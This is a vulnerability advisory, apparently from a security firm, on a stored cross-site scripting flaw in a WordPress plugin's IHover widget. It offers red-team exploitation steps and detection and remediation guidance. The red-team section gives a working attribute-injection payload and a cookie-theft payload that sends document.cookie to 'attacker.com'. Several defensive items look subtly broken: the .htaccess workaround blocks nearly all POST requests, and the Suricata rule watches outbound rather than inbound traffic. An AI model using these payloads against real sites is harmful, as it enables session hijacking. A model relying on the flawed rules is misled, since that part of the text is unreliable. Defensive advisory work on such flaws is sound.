CVE-2024-1996

Executive Summary

CVE-2024-1996 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons PRO WordPress plugin, affecting all versions up to and including 2.9.12. The flaw resides in the plugin's IHover widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level permissions to inject arbitrary web scripts. When a user accesses a page containing the malicious widget, the script executes, potentially leading to session hijacking, defacement, or data theft. The vulnerability has a CVSS score of 6.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and premium marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The lack of a patch from the vendor increases supply chain risk, as users must rely on manual mitigation or alternative plugins.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the IHover widget of the Premium Addons PRO plugin. The widget allows users to configure hover effects with custom attributes such as title, alt, or custom data attributes. The plugin fails to properly sanitize and escape these attributes before rendering them in the HTML output.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes within the IHover widget's rendering function. The plugin likely uses esc_attr() or similar functions incorrectly, or omits them entirely for certain attributes.

Attack Flow:

1. An attacker with contributor-level access creates or edits a page/post.
2. The attacker adds the IHover widget and injects a malicious payload into a vulnerable attribute (e.g., onmouseover or src).
3. The payload is stored in the WordPress database.
4. When any user (including administrators) views the page, the script executes in their browser context.

Example Payload (conceptual):

<div class="premium-ihover-link" data-hover="<script>alert('XSS')</script>">...</div>

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (premium-addons-pro/widgets/ihover.php):

$hover_attr = $settings['hover_attribute'];
echo '<div class="premium-ihover-link" data-hover="' . $hover_attr . '">';

Patched Code (hypothetical):

$hover_attr = esc_attr($settings['hover_attribute']);
echo '<div class="premium-ihover-link" data-hover="' . $hover_attr . '">';

The fix involves using esc_attr() to escape the attribute value, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Premium Addons PRO <= 2.9.12
• Contributor-level account

Steps:

1. Log in as a contributor.
2. Create a new page or post.
3. Add the IHover widget via the Elementor page builder.
4. In the widget settings, locate a vulnerable attribute (e.g., "Hover Text" or "Link URL").
5. Inject the following payload into the attribute:

   " onmouseover="alert('XSS')
   

6. Save and publish the page.
7. When an administrator or visitor views the page, the script executes.

Alternative Payload (session cookie theft):

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="

Blue Team

Detection:

• Monitor for unusual widget attribute values in page/post content.
• Look for patterns like on*= or javascript: in custom fields.
• Use WAF rules to block common XSS payloads in POST requests.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.
• Use a WordPress security plugin that scans for malicious content.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for modified plugin files)
• Suspicious Database Entries: Look for post_content containing onmouseover, onfocus, javascript:, or <script> tags within IHover widget data.
• Network Traffic: Outbound requests to unknown domains from the WordPress server (potential data exfiltration).
• Log Entries: Unusual page edits by contributor-level users, especially those containing HTML/JavaScript in widget attributes.

Detection Engineering

YARA Rule

rule CVE_2024_1996_WordPress_XSS {
    meta:
        description = "Detects stored XSS payloads in Premium Addons PRO IHover widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1996"
    strings:
        $payload1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $payload2 = /javascript\s*:/ nocase
        $payload3 = /<script[^>]*>/i
        $widget = /premium-ihover-link/i
    condition:
        $widget and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: CVE-2024-1996 - Stored XSS in Premium Addons PRO IHover Widget
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post content related to Premium Addons PRO IHover widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 'premium-ihover-link'
    keywords:
        - 'onmouseover'
        - 'onfocus'
        - 'javascript:'
        - '<script>'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1996 - Stored XSS in Premium Addons PRO IHover Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"premium-ihover-link"; http_client_body; pcre:"/(on\w+\s*=|javascript\s*:|<script[^>]*>)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Premium Addons PRO plugin until a patch is released.
2. Restrict contributor-level access to only trusted users.
3. Review and clean any existing pages/posts that use the IHover widget for malicious content.

Long-term Fix:

• Apply the vendor's patch when available (currently UNKNOWN).
• Consider switching to an alternative WordPress plugin with similar functionality.
• Implement a Web Application Firewall (WAF) with XSS protection rules.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block known XSS payloads.
• Add the following to .htaccess to block common XSS patterns in POST data:

  RewriteEngine On
  RewriteCond %{REQUEST_METHOD} POST
  RewriteCond %{THE_REQUEST} !.*premium-ihover-link.* [NC]
  RewriteRule .* - [F]
  

Valters IT
Securing Digital Frontiers